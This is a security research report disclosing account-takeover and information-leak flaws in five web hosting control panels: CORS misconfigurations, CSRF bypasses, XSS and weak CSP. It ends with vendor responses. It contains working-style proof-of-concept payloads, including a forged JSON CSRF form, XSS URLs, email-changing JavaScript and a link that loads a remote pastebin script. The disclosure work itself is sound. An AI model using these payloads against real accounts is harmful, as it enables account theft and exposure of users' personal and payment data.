Report: We Tested 5 Popular Web Hosting Companies & All Were Easily Hacked

This report was first published January 2019

The goal of this research was to try and see if websites hosted on Bluehost, Dreamhost, HostGator, OVHcloud, or iPage could be compromised with one click client-side vulnerabilities. Unfortunately, we found at least one client-side vulnerability in all the platforms we tested, allowing account takeover when the victim clicks a link or visits a malicious website.

All the platforms we tested are popular hosting providers with a significant number of users. On Website Planet, our goal is to give our readers the most honest and informative reviews, and security is a major factor. That’s why we hire experienced security researchers from time to time to test the services we review. If we find vulnerabilities, we report them to the vendors so they can make the necessary improvements.

This research was done by Paulos Yibelo, an experienced security researcher who previously uncovered issues in various devices and software.

Bluehost – Multiple Account Takeover and Information Leak Vulnerabilities

1. Information Leak through CORS Misconfigurations

Severity: High

Impact: This vulnerability allows attackers to steal:

1. Personally Identifiable Information (PII) such as name, location (city, street, state, country), phone number, zip code, etc.
2. Partial Payment Details including expiry month and year of credit card, last 4 digits of credit card, name on credit card, credit card type, and payment method.
3. Tokens that that can give access to a user’s hosted WordPress, Mojo, SiteLock and various OAuth-supported endpoints.

Bluehost uses cross-origin-resource-sharing (CORS) to share resources across their domains. CORS is a mechanism for relaxing the Same Origin Policy to enable communication between websites via browsers. It’s widely understood that certain CORS configurations are dangerous, but some implications are easily misunderstood.

After seeing the API endpoint for Bluehost that allows CORS for specific domains, we started trying to bypass the filters to see which websites should be allowed to access what.

Websites can enable CORS by sending the following HTTP response header:

Access-Control-Allow-Origin:
https://my.bluehost.com/
If the above HTTP response is seen in any website, it tells the browser to allow https://my.bluehost.com to read its contents.

In Bluehost’s case, we saw a loose regular expression that accepted vague values. For instance, if the browser that sends the request is coming from https://my.bluehost.com.evil.com, Bluehost would allow it by responding with:

Access-Control-Allow-Origin:
https://my.bluehost.com.evil.com
As you can see, Bluehost only checked the first strings and didn’t consider what came after Bluehost.com. This means malicious attackers could host a subdomain called my.bluehost.com.EVILWEBSITE.com and Bluehost would allow EVILWEBSITE.com to read its contents.

Browsing through Bluehost, the API endpoint returns very “juicy” information – from personally identifiable information to technical endpoints that can leak various tokens to takeover a Bluehost hosted account.

First, by going to /api/users endpoint – an attacker can leak the user_id. Then the attacker can use this user_id to query about that user and their content. The attacker can also leak values like email, first and last name, location of user, and also tokens that can give access to their WordPress, Mojo, SiteLock, and various endpoints.

As you can see above, the website request is actually hosted on evilwebsite.com and not Bluehost, but the API Response allows it to read its data in its response.

2. Account Takeover because of improper JSON request validation CSRF

Severity: Moderately High

Impact: This vulnerability allows attackers to change the email address of any Bluehost user to the address of their choice, and then reset the password using their new email to gain complete access to the victim’s account when a victim clicks a single link or visits a single website.

This vulnerability can be exploited because of certain misconfigurations in Bluehost’s handling of requests and validating them.

When users try to change their personal details, such as name, phone number, address, or email, Bluehost sends the following request:

If you look carefully, you will notice there is no unique token sent with that request. This means any website can actually send the request to that specific endpoint cross-origin, and change your details.

Normally, this would not be possible because the request is in JSON, and one would need to leverage Adobe Flash Player to be able to send such requests – but we all know Flash is dead. However, in Bluehost’s case, special tricks and server misconfigurations allow it to work in any browser, without using Flash:

<form id="xsrf" action="https://my.bluehost.com/cgi/account_center/api/profile" method="post" enctype="text/plain">

<input name='{"country":"US","phone":"+1.NEWPHONE","street1":"NEW STREET","last_name":"LastName","email":"[email protected]","city":"N EW","postal_code":"0000","province":"WA","first_name":"FirstName ' value='","organization":null}' type='hidden'> The above HTML code will generate a JSON request similar to the one we need, {"country":"US","phone":"+1.NEWPHONE","street1":"NEW STREET","last_name":"LastName","email":"[email protected]","city":"N EW","postal_code":"0000","province":"WA","first_name":"FirstName =”, organization":null}

Since browsers normally add = (equal sign) at the end of the input name, we can manipulate the JSON to include the equal sign in FirstName, and add the remaining values in the “value” attribute: organization”:null}

As you can see, the request will be sent with Content-Type: text/plain and not application/json – but Bluehost doesn’t mind that, which makes our exploit work cross-origin.

Normally, Bluehost checks if the referrer domain is bluehost.com – if the request is sent from any other website, Bluehost will reject the request with a 500 response.

This can easily be bypassed by using Content=”no-referrer” in the meta tag, because if no-referrer is sent, Bluehost will allow the request.

3. Man-In-The-Middle Because of Improper Validation of CORS Scheme

Severity: Medium

Impact: This vulnerability allows an attacker inside a victim’s internet network, such as public Wi-Fi or a local network (LAN) to read the contents of the victim’s Bluehost associated traffic as plain text, despite Bluehost using SSL/HTTPS traffic to encrypt its contents.

This vulnerability is based on issue #1 (CORS Misconfiguration) – but instead of not verifying the domain, in this case, Bluehost doesn’t verify the scheme/protocol when allowing it to read its contents.

As you can see in the response, Bluehost is granting an HTTP domain, to read its contents. This tells the browser to allow the HTTP domain to access its contents (unencrypted) – this downgrade attack makes the use of SSL Certificate by Bluehost completely useless and defeats the whole purpose of using an HTTPS request in the first place.

4. XSS on my.bluehost.com allowing for account takeover

Severity: Moderately High

Impact: this vulnerability allows an attacker to execute commands as the client on bluehost.com – this means the ability to change, modify, and add content, including the email address. The attacker can read content about the victim, or change the content on their website when the victim clicks on a malicious link or visits a website.

Two low-impact issues make this vulnerability incredibly dangerous. The first one is that Bluehost does not require a current password when changing one’s email address. This means one can simply change the email address and reset the password by using XSS.

The second one is Bluehost not having set any HttpOnly flags on their sensitive cookies. This means any JavaScript can access them and send them to a malicious attacker, and the attacker can use these cookies to authenticate as the user.

PoC: https://my.bluehost.com/cgi/dm/subdomain/redirect?domainkey=”><script>alert(document.d omain)</script>

Dreamhost XSS and Information Disclosure Vulnerabilities

1. Account Takeover via XSS

Severity: Moderately High

Impact: This vulnerability allows an attacker to easily change the victim’s email or password to whatever they desire when the victim visits a link or a malicious website.

The payload:

https://panel.dreamhost.com/tree=domain.manage&current_step=Index&next_step=ShowAddhttp&domain=:lol”><svg/onload=alert() will generate an alert on panel.dreamhost.com (profile and website management)

This can be extended to an account takeover because DreamHost doesn’t ask for a password in order to change your email address, so an attacker can simply perform CSRF attack using this XSS vulnerability to take over any account.

$.ajax({
url: "https://panel.dreamhost.com/id/?tab=contact&command=edit",
method: "POST",
dataType: "html",
success: function(response)
{
var security_cookie =
$(response).find("input[name='security_cookie']").val();
$.post( "https://panel.dreamhost.com/id/?", { tab: "contact",
command: "submit_edit", security_cookie :security_cookie, prefix : "", first
: "Santa", middle : "", last : "Bluh", suffix : "", street1 : "Nurit 103",
street2 : "", city : "Ora", state : "jerusalem" , zip : "90880" , country :
"IL" , email : "[email protected]",phone:"+954.8888777",fax: "", chat :"",
twitter:"",url:""}).done(function( data ) {
console.log( data );
});
console.log(security_cookie);
},
error: function(error)
{
console.log($error);
}
});

The above JavaScript, when executed by panel.dreamhost.com, changes the logged in email address to [email protected] – this can be done with our XSS vulnerability.

https://panel.dreamhost.com/tree=domain.manage¤t_step=Index&next_step=ShowAddhttp&domain=:lol%22%3E%0A%3Cscript%20async%20src=%22//pastebin.com/raw/65CayjA7%22%3E%3C/script%3E%0A%3Cscript%3E%20var%20x%20=%20%22/*

When a victim visits the above link in anyway, they will change their email address to the attackers.

Check out the video here:

HostGator Information Disclosure and Multiple Vulnerabilities

1. Sitewide CSRF Protection Bypass allowing complete control

Severity: High

Impact: This vulnerability exists all around the user’s account section of the website. An attacker can add, edit, or change any value in the victim’s profile, including the email address and personal information, when a victim clicks on a link or visits a malicious website.

HostGator normally uses anti-CSRF tokens with any form submits. However, the server can be tricked to ignore anti-CSRF tokens by changing the POST parameter token to token[]= and leaving it empty – this lets the CSRF check pass as true. I suspect this might be a Type Juggling vulnerability, with a pseudo code sample:

if (strcasecmp($_GET['token'],"$csrf_token") == 0) {

The above function might look sufficient for most programmers, especially if they migrated from C/C++ to web development. While the function looks as if it would only evaluate true if the strings are the same, it is also the case that if an array is given into the variable, then a NULL response is given back. According to PHP’s comparison, for instance, NULL is actually 0. So, it will pass as valid!

data=changeaction&token[]=

The second anti-CSRF token they have is a referrer-based check. They check if the request came from http://portal.hostgator.com/anything? – but this can easily be bypassed by using an open redirect on the website, which is common in such places.

2. Multiple CORS Misconfigurations leading to Information Leak and CRLF

A. Information Leak

Severity: Moderately High

Impact: This vulnerability lets attackers read API responses coming from HostGator because of a CORS misconfiguration. The API response responds with full customer and domain details.

As you can see in the Access-Control-Allow-Origin response from HostGator, it is allowing evil.com (example domain name) to access the response contents.

This is due to HostGator’s weak regular expression check to match what domains are allowed to read its response. It allows any website that ends with .hostgator.com pass – this meant sending payloads like: http://evil.com/?null=portal.hostgator.com and evil.com\@.hostgator.com. The fact that any character is allowed before .hostgator.com creates all sorts of issues.

B. CRLF Injection in Microsoft Edge and Internet Explorer

Severity: Moderate

Impact: This vulnerability only affects HostGator users that use Microsoft Edge and Internet Explorer. It allows attackers to inject new headers and possibly execute client-side scripts.

The very fact that any character sent is responded back in the CORS header response without any encoding or even checking it for illegal characters like \r, means that we have an HTTP header injection vulnerability against IE/Edge users as Internet Explorer and Edge view \r (0x0d) as a valid HTTP header terminator:

C. Man-In-The-Middle Because of Improper Validation of CORS Scheme

Severity: Medium

Impact: This vulnerability allows an attacker inside a victim’s internet traffic, such as public Wi-Fi or a local network (LAN), to read the contents of the victim’s HostGator API associated traffic as plain text, despite HostGator using proper SSL/HTTPS traffic to encrypt its contents.

As seen in the #1A screenshot – anything is accepted in the Access-Control-Allow-Origin if it ends with .hostgator.com. This also means any protocol or scheme, as you can see in the screenshot above – http://anything.hostgator.com allows a local attacker to read HTTPS response by using CORS. This vulnerability not only means that any XSS or a similar vulnerability hosted on any HostGator subdomain worked, but any local-network attacker being able to read CORS responses.

Check out the video here:

OVHcloud Information Disclosure and Multiple Vulnerabilities

1. CSRF Protection Bypass

Severity: High

Impact: This vulnerability exists all around the website. An attacker can add, edit, or change any value in the victim’s profile, including email address and personal information, when an authenticated victim clicks on a link or visits a malicious website.

OVHcloud implanted two types of anti-CSRF defenses. One is checking the request’s Content-Type is application/json and the second is making sure if the referrer website is “ovh.com”. Let’s break it down on why that wasn’t enough.

While those two can’t normally be forged by other websites, we found simple bypasses that worked for OVHcloud in either of the cases.

xhr.setRequestHeader(‘Content-Type’,’text/plain; application/json’);

Browsers will refuse to send application/json as a Content-Type, however by sending ‘text/plain; application/json’– the request will be allowed to pass, it seems the server was only checking if application/json is contained with the Content-Type header.

The second protection is referrer check, normally referrer checks are widely misunderstood and easily bypassable countermeasures.

In OVHcloud’s case: while the server checked the request came from “ovh.com” – it didn’t care about the scheme – both HTTP and HTTPS versions of “ovh.com” were accepted as valid referrers. In any sort of MITM case, one can spoof DNS of http://ovh.com (HTTP, attacker injected content) – when victim browses, will redirect them to https://ovh.com (HTTPS) with CSRF payload, this effectively spoofs the referrer check as both HTTP and HTTPS schemes are allowed here. (This is due to the fact how OVHcloud doesn’t enforce HSTS, but can be easily mitigated by doing that)

Referrer-based CSRF protections are generally useless though for one not so widely known fact, browsers. Many major browsers have security bugs they consider LOW priority to WONTFIX that lets websites spoof their referrers. In case of Microsoft Edge, for example, Manuel Caballero found a nice referrer spoof bug that still isn’t fixed in the browser (and likely not anytime soon) – websites relaying and trusting on browsers sending them user-controllable data causes a serious problem.

To summarize:

– Thanks to the way Google Mail works, an email sent to [email protected] will actually go to [email protected] — so by sending:

{“newEmail”:”[email protected]”}

with ‘text/plain; application/json’ Content-Type header, one can change email just with HTML forms. The referrer can be spoofed using browser bugs, or with MITM.

iPage Account Takeover and Multiple Vulnerabilities

1. Account Takeover

Severity: High

Impact: This vulnerability allows an attacker to remotely take over any iPage account, when the victim simply clicks a link or visits a website.

This vulnerability is due to a weird feature iPage has in their Change Password page. iPage doesn’t require your old/current password to change your password, and there are no unique tokens associated with the request.

This means any website can send a cross-origin request with a new password to iPage, with the victim’s username, and iPage will change their password to whatever the attacker likes.

https://www1.ipage.com/api/2.0/user/ipg.username/password

As you can see in the above request, the identifier is ipg.username, with no referrer sent, or unique tokens – allowing account takeover from cross-origin!

2. Multiple Content Security Policy Bypass

Severity: Medium

Impact: This allows attackers to perform clickjacking attacks on any API responses of iPage, and to bypass the CSP with content and script-injection attacks.

iPage uses Content-Security-Policy to protect its API endpoints, it is supposedly there to stop attackers from injecting content so they can’t execute malicious scripts, and only allow certain pages to frame the API response endpoint.

It looks like this:

Content-Security-Policy: frame-ancestors ‘self’  http://*.impress.ly  http://*.dragndropbuilder.com  https://*.weeblycloud.com  https://*.sitelock.com  https://*.mojomarketplace.com  http://*.ipage.com  http://*.yourhostingaccount.com  https://*.ecwid.com

X-Frame-Options: SAMEORIGIN  ALLOW-FROM  http://*.impress.ly  http://*.dragndropbuilder.com  https://*.weeblycloud.com  https://*.sitelock.com  https://*.mojomarketplace.com  http://*.ipage.com  http://*.yourhostingaccount.com  https://*.ecwid.com

As you can see, there are multiple key attributes and components missing:

A. Man-In-The-Middle Attack in frame-ancestors

If you examine closely, you will notice that the frame-ancestors attribute permits multiple HTTP (unencrypted) pages to frame the given content. This implies that an individual with malicious intent within a Wi-Fi network or on the public internet could potentially host an HTTP domain that falsifies the address. As a result, iPage would authorize its responses to be framed by this deceptive domain.

Considering some browsers, such as Internet Explorer 11, don’t support CSP, they also have an X-Frame-Options header saying the same thing – but as you can see, this one also allows the same HTTP domains like http://*.impress.ly, http://*.ipage.com, and more.

B. Complete Bypass Because of Missing Attributes

As you can see, the CSP doesn’t have script-src or object-src tags, meaning any attacker who found any HTML injection endpoint will be able to execute cross-site scripting attacks.

Check out the video here:

The Aftermath

January 15, 2019

Out of the five web hosts we tested, we found that all can be easily hacked. This means that no matter which hosting service you use, you should always be sure to take additional measures to enhance your website’s security. Idan Ben Or, SEO expert noted: “The main takeaway we see is that even the biggest web hosts suffer from aging infrastructure and a bug can easily be inserted to target the six-plus million domains covered by these providers. And because of this, hackers don’t need to some kind of intricate attack, they can walk right through the front door.”

Responses

Dreamhost was the first to respond to our report, saying:

First, I’d like to thank you for notifying us of this exploit and vulnerability.

I believe responsible disclosure and visibility into security flaws helps makes the internet a safer place for everyone.

We currently have a fix in production that should prevent leveraging CSRF from our old panel.dreamhost.com/id/ submit forms and are making efforts to increase security and sanitize inputs across the rest of our endpoints.

We also received the following response from Endurance, who runs Bluehost, iPage, and HostGator:

I wanted to… let you know that after an internal analysis of the vulnerabilities you shared, we’ve taken steps to address and patch the potential vulnerabilities you identified.

It’s also important to note that during our process, Bluehost red-flagged our account and closed it down unceremoniously. No exact reason was given; however, since it was done after the hack was completed, we can only assume it is because they saw what we were doing. Good job, Bluehost… but a little too late.